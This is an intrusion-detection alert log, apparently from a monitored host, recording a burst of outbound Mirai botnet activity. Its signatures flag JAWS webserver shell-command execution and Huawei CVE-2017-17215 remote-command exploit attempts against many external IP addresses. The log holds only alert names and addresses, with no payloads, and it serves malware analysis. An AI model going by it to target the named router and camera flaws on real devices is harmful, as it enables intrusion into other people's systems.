2024-10-14T17:34:21.067769+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	55638	94.128.98.24	443	TCP
2024-10-14T17:34:21.067894+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36560	109.158.105.177	443	TCP
2024-10-14T17:34:21.099617+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35434	202.126.57.169	443	TCP
2024-10-14T17:34:21.099729+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59186	117.186.109.65	443	TCP
2024-10-14T17:34:21.099822+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	57186	117.248.242.139	443	TCP
2024-10-14T17:34:21.705772+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34726	70.183.114.202	80	TCP
2024-10-14T17:34:21.705772+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34726	70.183.114.202	80	TCP
2024-10-14T17:34:21.844590+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	47386	147.45.136.124	80	TCP
2024-10-14T17:34:21.844590+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	47386	147.45.136.124	80	TCP
2024-10-14T17:34:22.959408+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36044	79.95.10.90	443	TCP
2024-10-14T17:34:22.959482+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33810	94.245.151.61	443	TCP
2024-10-14T17:34:22.959550+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	56092	2.77.19.139	443	TCP
2024-10-14T17:34:22.959583+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	57182	5.150.205.102	443	TCP
2024-10-14T17:34:22.959628+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36112	42.173.190.219	443	TCP
2024-10-14T17:34:22.959645+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44864	79.40.127.223	443	TCP
2024-10-14T17:34:22.959674+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36982	79.43.52.125	443	TCP
2024-10-14T17:34:22.959702+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33480	79.114.98.80	443	TCP
2024-10-14T17:34:22.959742+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35746	5.24.126.151	443	TCP
2024-10-14T17:34:22.959764+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	38750	5.253.165.108	443	TCP
2024-10-14T17:34:22.959787+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46798	202.212.238.113	443	TCP
2024-10-14T17:34:22.959896+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	60566	148.188.49.117	443	TCP
2024-10-14T17:34:22.959938+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37702	109.197.14.136	443	TCP
2024-10-14T17:34:22.959967+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37972	123.137.232.236	443	TCP
2024-10-14T17:34:22.959987+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	42262	118.106.83.116	443	TCP
2024-10-14T17:34:22.960018+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36242	148.197.2.135	443	TCP
2024-10-14T17:34:22.960041+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46458	118.93.94.120	443	TCP
2024-10-14T17:34:22.960079+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	58130	123.113.22.102	443	TCP
2024-10-14T17:34:22.960131+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	48426	37.6.43.52	443	TCP
2024-10-14T17:34:23.019433+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	56636	148.79.44.9	443	TCP
2024-10-14T17:34:23.019472+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	38206	148.143.19.226	443	TCP
2024-10-14T17:34:23.019507+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46940	79.212.36.201	443	TCP
2024-10-14T17:34:23.051404+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	57496	37.205.155.28	443	TCP
2024-10-14T17:34:23.051432+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35860	79.220.179.145	443	TCP
2024-10-14T17:34:23.051478+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	43838	123.80.238.164	443	TCP
2024-10-14T17:34:23.083522+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	60734	79.164.29.126	443	TCP
2024-10-14T17:34:23.083583+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	41012	79.117.52.82	443	TCP
2024-10-14T17:34:23.083616+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	57424	109.191.144.0	443	TCP
2024-10-14T17:34:23.119496+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	52860	79.127.131.213	443	TCP
2024-10-14T17:34:23.119536+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44988	117.122.114.83	443	TCP
2024-10-14T17:34:23.119563+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	60124	79.14.25.171	443	TCP
2024-10-14T17:34:23.128389+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57332	41.142.82.90	37215	TCP
2024-10-14T17:34:24.143775+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	52156	37.63.30.25	443	TCP
2024-10-14T17:34:25.988242+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	40326	34.117.245.61	80	TCP
2024-10-14T17:34:25.988242+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	40326	34.117.245.61	80	TCP
2024-10-14T17:34:26.238243+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	55882	23.14.61.169	80	TCP
2024-10-14T17:34:26.238243+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	55882	23.14.61.169	80	TCP
2024-10-14T17:34:30.869470+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	43982	111.175.39.221	80	TCP
2024-10-14T17:34:30.869470+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	43982	111.175.39.221	80	TCP
2024-10-14T17:34:30.952259+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	39066	109.206.175.66	80	TCP
2024-10-14T17:34:30.952259+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	39066	109.206.175.66	80	TCP
2024-10-14T17:34:32.186918+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49398	156.247.23.139	37215	TCP
2024-10-14T17:34:33.307274+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36040	115.173.179.104	80	TCP
2024-10-14T17:34:33.307274+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36040	115.173.179.104	80	TCP
2024-10-14T17:34:33.307489+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46556	69.163.97.129	80	TCP
2024-10-14T17:34:33.307489+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	46556	69.163.97.129	80	TCP
2024-10-14T17:34:33.312290+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35452	211.76.58.110	80	TCP
2024-10-14T17:34:33.312290+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	35452	211.76.58.110	80	TCP
2024-10-14T17:34:33.312583+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42858	197.129.129.87	37215	TCP
2024-10-14T17:34:33.332706+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59924	197.52.94.232	37215	TCP
2024-10-14T17:34:33.360261+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	40468	68.165.240.71	80	TCP
2024-10-14T17:34:33.360261+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	40468	68.165.240.71	80	TCP
2024-10-14T17:34:33.360277+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	38100	115.51.250.229	80	TCP
2024-10-14T17:34:33.360277+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	38100	115.51.250.229	80	TCP
2024-10-14T17:34:33.379507+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40952	197.56.115.214	37215	TCP
2024-10-14T17:34:33.406612+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53944	156.40.168.169	37215	TCP
2024-10-14T17:34:33.423579+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34242	50.84.44.219	80	TCP
2024-10-14T17:34:33.423579+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34242	50.84.44.219	80	TCP
2024-10-14T17:34:33.438953+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44948	36.186.91.48	80	TCP
2024-10-14T17:34:33.438953+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	44948	36.186.91.48	80	TCP
2024-10-14T17:34:33.439492+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37868	219.61.31.247	80	TCP
2024-10-14T17:34:33.439492+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	37868	219.61.31.247	80	TCP
2024-10-14T17:34:33.468987+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46386	166.225.45.181	80	TCP
2024-10-14T17:34:33.468987+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	46386	166.225.45.181	80	TCP
2024-10-14T17:34:33.499648+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59988	197.8.124.136	37215	TCP
2024-10-14T17:34:33.515810+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35656	197.252.249.212	37215	TCP
2024-10-14T17:34:33.534910+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35890	156.136.127.182	37215	TCP
2024-10-14T17:34:33.563409+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50332	41.45.164.216	37215	TCP
2024-10-14T17:34:33.566550+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59418	125.113.141.16	80	TCP
2024-10-14T17:34:33.566550+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	59418	125.113.141.16	80	TCP
2024-10-14T17:34:33.593612+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	32838	222.204.47.231	80	TCP
2024-10-14T17:34:33.593612+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	32838	222.204.47.231	80	TCP
2024-10-14T17:34:33.595298+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	50656	82.200.247.237	80	TCP
2024-10-14T17:34:33.595298+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	50656	82.200.247.237	80	TCP
2024-10-14T17:34:33.609479+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55518	156.119.88.242	37215	TCP
2024-10-14T17:34:33.610031+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55794	41.157.6.145	37215	TCP
2024-10-14T17:34:33.615186+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44284	216.251.227.65	80	TCP
2024-10-14T17:34:33.615186+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	44284	216.251.227.65	80	TCP
2024-10-14T17:34:33.640895+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47458	197.161.220.113	37215	TCP
2024-10-14T17:34:33.646124+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35966	188.151.101.126	80	TCP
2024-10-14T17:34:33.646124+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	35966	188.151.101.126	80	TCP
2024-10-14T17:34:33.656573+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44498	130.134.1.55	80	TCP
2024-10-14T17:34:33.656573+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	44498	130.134.1.55	80	TCP
2024-10-14T17:34:33.656783+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36270	145.152.55.80	80	TCP
2024-10-14T17:34:33.656783+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36270	145.152.55.80	80	TCP
2024-10-14T17:34:33.671997+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45532	156.94.217.87	37215	TCP
2024-10-14T17:34:33.703041+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50870	41.147.168.3	37215	TCP
2024-10-14T17:34:33.703184+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50230	41.12.210.213	37215	TCP
2024-10-14T17:34:33.704706+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33648	41.17.42.167	37215	TCP
2024-10-14T17:34:33.720477+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52496	197.107.94.66	37215	TCP
2024-10-14T17:34:33.734409+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41142	41.75.110.142	37215	TCP
2024-10-14T17:34:34.235311+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57900	197.84.254.99	37215	TCP
2024-10-14T17:34:34.235515+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	41770	18.28.241.145	80	TCP
2024-10-14T17:34:34.235515+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	41770	18.28.241.145	80	TCP
2024-10-14T17:34:34.236054+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48818	156.8.22.233	37215	TCP
2024-10-14T17:34:34.250841+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	54954	131.156.38.106	80	TCP
2024-10-14T17:34:34.250841+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	54954	131.156.38.106	80	TCP
2024-10-14T17:34:34.269897+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49814	179.221.209.219	80	TCP
2024-10-14T17:34:34.269897+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49814	179.221.209.219	80	TCP
2024-10-14T17:34:34.270525+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	54104	141.182.88.11	80	TCP
2024-10-14T17:34:34.270525+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	54104	141.182.88.11	80	TCP
2024-10-14T17:34:34.271316+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52642	41.117.115.104	37215	TCP
2024-10-14T17:34:34.280662+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	54174	80.16.214.233	80	TCP
2024-10-14T17:34:34.280662+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	54174	80.16.214.233	80	TCP
2024-10-14T17:34:34.280865+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	50276	197.76.254.99	80	TCP
2024-10-14T17:34:34.280865+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	50276	197.76.254.99	80	TCP
2024-10-14T17:34:34.281461+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	43396	136.219.76.182	80	TCP
2024-10-14T17:34:34.281461+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	43396	136.219.76.182	80	TCP
2024-10-14T17:34:34.282084+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37134	41.159.121.25	37215	TCP
2024-10-14T17:34:34.284966+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	45036	163.129.240.99	80	TCP
2024-10-14T17:34:34.284966+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	45036	163.129.240.99	80	TCP
2024-10-14T17:34:34.286760+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	39220	76.232.178.92	80	TCP
2024-10-14T17:34:34.286760+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	39220	76.232.178.92	80	TCP
2024-10-14T17:34:34.329624+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46272	87.197.76.211	80	TCP
2024-10-14T17:34:34.329624+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	46272	87.197.76.211	80	TCP
2024-10-14T17:34:34.329987+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39368	197.106.26.143	37215	TCP
2024-10-14T17:34:34.343594+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44918	156.49.31.7	37215	TCP
2024-10-14T17:34:34.344280+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36676	76.233.57.173	80	TCP
2024-10-14T17:34:34.344280+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36676	76.233.57.173	80	TCP
2024-10-14T17:34:34.391399+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53512	156.160.223.165	37215	TCP
2024-10-14T17:34:34.410571+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51160	156.152.71.59	37215	TCP
2024-10-14T17:34:34.425731+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35148	156.80.33.71	37215	TCP
2024-10-14T17:34:34.431022+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40794	41.184.5.106	37215	TCP
2024-10-14T17:34:34.441610+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	50408	13.192.143.77	80	TCP
2024-10-14T17:34:34.441610+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	50408	13.192.143.77	80	TCP
2024-10-14T17:34:34.455332+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54188	156.95.186.74	37215	TCP
2024-10-14T17:34:34.472877+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	43232	120.68.33.190	80	TCP
2024-10-14T17:34:34.472877+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	43232	120.68.33.190	80	TCP
2024-10-14T17:34:34.500237+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47558	156.135.171.102	37215	TCP
2024-10-14T17:34:34.500417+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48762	41.43.52.119	37215	TCP
2024-10-14T17:34:34.500779+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35766	135.208.219.81	80	TCP
2024-10-14T17:34:34.500779+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	35766	135.208.219.81	80	TCP
2024-10-14T17:34:34.532950+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	48562	131.167.238.241	80	TCP
2024-10-14T17:34:34.532950+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	48562	131.167.238.241	80	TCP
2024-10-14T17:34:34.546623+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	56710	51.128.35.28	80	TCP
2024-10-14T17:34:34.546623+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	56710	51.128.35.28	80	TCP
2024-10-14T17:34:34.550743+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	57628	84.156.166.12	80	TCP
2024-10-14T17:34:34.550743+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	57628	84.156.166.12	80	TCP
2024-10-14T17:34:34.564628+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37164	41.40.38.157	37215	TCP
2024-10-14T17:34:34.580246+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33586	41.22.70.86	37215	TCP
2024-10-14T17:34:34.595398+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48908	41.217.156.39	37215	TCP
2024-10-14T17:34:34.640545+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	41364	61.160.177.115	80	TCP
2024-10-14T17:34:34.640545+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	41364	61.160.177.115	80	TCP
2024-10-14T17:34:34.641144+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53844	156.233.32.128	37215	TCP
2024-10-14T17:34:34.644789+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57256	41.121.12.129	37215	TCP
2024-10-14T17:34:34.657925+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57136	197.211.2.169	37215	TCP
2024-10-14T17:34:34.661847+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44564	82.30.22.185	80	TCP
2024-10-14T17:34:34.661847+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	44564	82.30.22.185	80	TCP
2024-10-14T17:34:34.675863+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52910	41.105.148.190	37215	TCP
2024-10-14T17:34:34.720734+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54434	41.18.249.50	37215	TCP
2024-10-14T17:34:34.734965+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47956	197.164.236.181	37215	TCP
2024-10-14T17:34:34.736416+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56150	41.126.64.10	37215	TCP
2024-10-14T17:34:34.736505+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50606	41.70.200.240	37215	TCP
2024-10-14T17:34:35.546344+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37218	182.64.118.107	80	TCP
2024-10-14T17:34:35.546344+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	37218	182.64.118.107	80	TCP
2024-10-14T17:34:35.568375+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	52240	84.10.168.7	80	TCP
2024-10-14T17:34:35.568375+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	52240	84.10.168.7	80	TCP
2024-10-14T17:34:36.312622+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40240	41.139.171.186	37215	TCP
2024-10-14T17:34:36.312980+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55316	156.78.111.135	37215	TCP
2024-10-14T17:34:36.313056+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	47576	12.12.20.232	80	TCP
2024-10-14T17:34:36.313056+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	47576	12.12.20.232	80	TCP
2024-10-14T17:34:36.313196+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48132	156.239.18.206	37215	TCP
2024-10-14T17:34:36.314807+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32938	197.46.116.92	37215	TCP
2024-10-14T17:34:36.316880+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53696	197.153.240.99	37215	TCP
2024-10-14T17:34:36.319205+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34852	197.7.119.78	37215	TCP
2024-10-14T17:34:36.605063+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54270	156.56.88.39	37215	TCP
2024-10-14T17:34:36.605165+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57482	156.167.4.14	37215	TCP
2024-10-14T17:34:36.605288+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	53084	134.118.16.121	80	TCP
2024-10-14T17:34:36.605288+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	53084	134.118.16.121	80	TCP
2024-10-14T17:34:36.605438+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48562	156.250.109.164	37215	TCP
2024-10-14T17:34:36.605438+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	47468	181.149.65.97	80	TCP
2024-10-14T17:34:36.605438+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	47468	181.149.65.97	80	TCP
2024-10-14T17:34:36.605551+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37900	197.59.228.193	37215	TCP
